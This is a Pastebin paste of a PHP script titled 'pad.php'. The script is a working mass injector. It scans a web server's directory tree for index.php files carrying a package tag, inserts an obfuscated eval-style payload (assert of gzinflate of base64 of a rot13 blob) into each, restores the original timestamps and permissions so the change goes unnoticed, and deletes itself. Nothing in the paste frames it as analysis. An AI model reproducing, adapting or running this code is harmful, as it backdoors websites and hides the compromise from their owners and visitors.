PalmaSolutions

pad.php

May 5th, 2018
283
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 7.18 KB | None | 0 0
  1. <?php
  2. $tag = ' * @package general';
  3.  
  4. $code = <<<'CODE'
  5.  */
  6. $LUrELW="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";$gEOx9G="\141";$CpHkZd="\x73\x74";$HESH9nBW="\142\141\163";$TRA6v="Fl1YmASDI/RWYKY1PoqI8KNA9eQZpjeKtVcbJdh4zFL6IcK";$VqTe0E="\147\172\x69";$gEOx9G.="\163";$TRA6v.="5OgbdXIzeuND5zcKMXdJ6h1FIEvcMc+HKnnwxTsvyEIaz5A";$VqTe0E.="\156\146";$HESH9nBW.="\145\66\x34";$CpHkZd.="\162\137\x72";$HESH9nBW.="\x5f\144\x65\x63";$TRA6v.="xnJZCMAbLJSuLVeen2WgjpCqixwPXA/XVHzO3EpTJkzaStp";$gEOx9G.="\x73\145";$VqTe0E.="\154\141";$CpHkZd.="\157\164";$VqTe0E.="\164\145";$CpHkZd.="\61\63";$TRA6v.="oNgPTSIf1uAGJhUIWOGIpVXD1VAKQKtktSy1QJgND==";$HESH9nBW.="\x6f\144\x65";$gEOx9G.="\x72\x74";@$gEOx9G($VqTe0E($HESH9nBW($CpHkZd($TRA6v))));
  7. /*
  8. CODE;
  9.  
  10. $injectType = 1; // 0 - before tag, 1 - after tag
  11.  
  12. $indexFiles = array('index.php');
  13.  
  14.  
  15.  
  16.  
  17. // API
  18. set_time_limit(360);
  19.  
  20. $d1=array();
  21. $d2=array();
  22. $d3=array();
  23. $d4=array();
  24. $d5=array();
  25. $d6=array();
  26.  
  27. $dir = path_finder();
  28. $res=smartscan($dir);
  29.  
  30. foreach($res as $v) {
  31.     if(in_array($v, $indexFiles)) {
  32.         indexEditor($localpath = $dir, $indexFile = $v, $tag, $code);
  33.     } else {
  34.         if(is_dir($dir.'/'.$v) && ($v !== ".") && ($v !== "..")) {
  35.            $d1[]=$dir.'/'.$v;
  36.         }
  37.     }
  38. }
  39.  
  40. foreach($d1 as $d) {
  41.     $res=smartscan($d);
  42.     foreach($res as $v) {
  43.         if(in_array($v, $indexFiles)) {
  44.             indexEditor($localpath = $d, $indexFile = $v, $tag, $code);
  45.         } else {
  46.             if(is_dir($d.'/'.$v) && ($v !== ".") && ($v !== "..")) {
  47.                $d2[]=$d.'/'.$v;
  48.             }
  49.         }
  50.     }
  51. }
  52.  
  53. foreach($d2 as $d) {
  54.     $res=smartscan($d);
  55.     foreach($res as $v) {
  56.         if(in_array($v, $indexFiles)) {
  57.             indexEditor($localpath = $d, $indexFile = $v, $tag, $code);
  58.         } else {
  59.             if(is_dir($d.'/'.$v) && ($v !== ".") && ($v !== "..")) {
  60.                $d3[]=$d.'/'.$v;
  61.             }
  62.         }
  63.     }
  64. }
  65.  
  66. foreach($d3 as $d) {
  67.     $res=smartscan($d);
  68.     foreach($res as $v) {
  69.         if(in_array($v, $indexFiles)) {
  70.             indexEditor($localpath = $d, $indexFile = $v, $tag, $code);
  71.         } else {
  72.             if(is_dir($d.'/'.$v) && ($v !== ".") && ($v !== "..")) {
  73.                $d4[]=$d.'/'.$v;
  74.             }
  75.         }
  76.     }
  77. }
  78.  
  79. foreach($d4 as $d) {
  80.     $res=smartscan($d);
  81.     foreach($res as $v) {
  82.         if(in_array($v, $indexFiles)) {
  83.             indexEditor($localpath = $d, $indexFile = $v, $tag, $code);
  84.         } else {
  85.             if(is_dir($d.'/'.$v) && ($v !== ".") && ($v !== "..")) {
  86.                $d5[]=$d.'/'.$v;
  87.             }
  88.         }
  89.     }
  90. }
  91.  
  92. foreach($d5 as $d) {
  93.     $res=smartscan($d);
  94.     foreach($res as $v) {
  95.         if(in_array($v, $indexFiles)) {
  96.             indexEditor($localpath = $d, $indexFile = $v, $tag, $code);
  97.         } else {
  98.             if(is_dir($d.'/'.$v) && ($v !== ".") && ($v !== "..")) {
  99.                $d6[]=$d.'/'.$v;
  100.             }
  101.         }
  102.     }
  103. }
  104.  
  105. foreach($d6 as $d) {
  106.     $res=smartscan($d);
  107.     foreach($res as $v) {
  108.         if(in_array($v, $indexFiles)) {
  109.             indexEditor($localpath = $d, $indexFile = $v, $tag, $code);
  110.         }
  111.     }
  112. }
  113.  
  114.  
  115. // func
  116. function indexEditor($localpath, $indexFile, $tag, $code) {
  117.     $fullpath = $localpath.'/'.$indexFile;
  118.     edit($fullpath, $code, $tag);
  119. }                      
  120.                    
  121. function edit($filepath, $code, $tag) {
  122.     clearstatcache();  
  123.     $perms = 0777 & fileperms($filepath);
  124.     chmod($filepath, 0666);
  125.     if(is_writable($filepath)) {
  126.         $content = file_get_contents($filepath);
  127.         $tag_exists = false;
  128.         global $injectType;
  129.         if ((strpos($content, $tag) !== false) && (strpos($content, $code) === false)) {
  130.             switch($injectType) {
  131.                 case 0:
  132.                     $replacement = $code."\r\n".$tag;
  133.                     break;
  134.                 case 1:
  135.                     $replacement = $tag."\r\n".$code;
  136.                     break;
  137.             }
  138.             $tag_exists = true;
  139.         }
  140.        
  141.         if($tag_exists) {
  142.             $lastmod = filemtime($filepath);
  143.             $inject = str_replace($tag,$replacement,$content);
  144.             file_put_contents($filepath,$inject,LOCK_EX);
  145.             touch($filepath,$lastmod);
  146.             chmod($filepath,$perms);
  147.             echo '&nbsp&nbsp&nbsp&nbsp&nbspSuccess >> '.$filepath.'<br>';
  148.         } else {
  149.             echo '&nbsp&nbsp&nbsp&nbsp&nbspTag Not Found >> '.$filepath.'<br>';
  150.             return;
  151.         }
  152.          
  153.     } else {
  154.         echo '&nbsp&nbsp&nbsp&nbsp&nbspCant Edit >> '.$filepath.'<br>';
  155.     }
  156. }
  157.  
  158. function path_finder() {
  159.     $p=$_SERVER['SCRIPT_FILENAME'];
  160.     if(empty($p)){
  161.        exit('Cant find the path');
  162.        }
  163.     else{
  164.        $p=str_replace('\/', '/', $p);
  165.        $p=trim($p, '/');
  166.        $p=substr_count($p, '/')-1;
  167.        }
  168.  
  169.     for($k=1; $k<=$p; $k++){
  170.         if(!is_readable(str_repeat('../', $k))){
  171.         $pth=trim(str_repeat('../', $k-1));
  172.         break;
  173.         }
  174.    
  175.     }
  176.  
  177.     if($pth) {
  178.        return $pth;
  179.      }
  180.     else {
  181.        return trim(str_repeat('../', $p-1));
  182.      }
  183. }
  184.    
  185. function smartscan($dir) {
  186.     if(function_exists("scandir")){
  187.        return scandir($dir);
  188.        }
  189.     else{
  190.        $dh  = opendir($dir);
  191.        while(false !== ($filename = readdir($dh)))
  192.            $files[] = $filename;
  193.            return $files;
  194.        }
  195. }
  196. unlink(__FILE__);
  197. ?>
Advertisement
Add Comment
Please, Sign In to add comment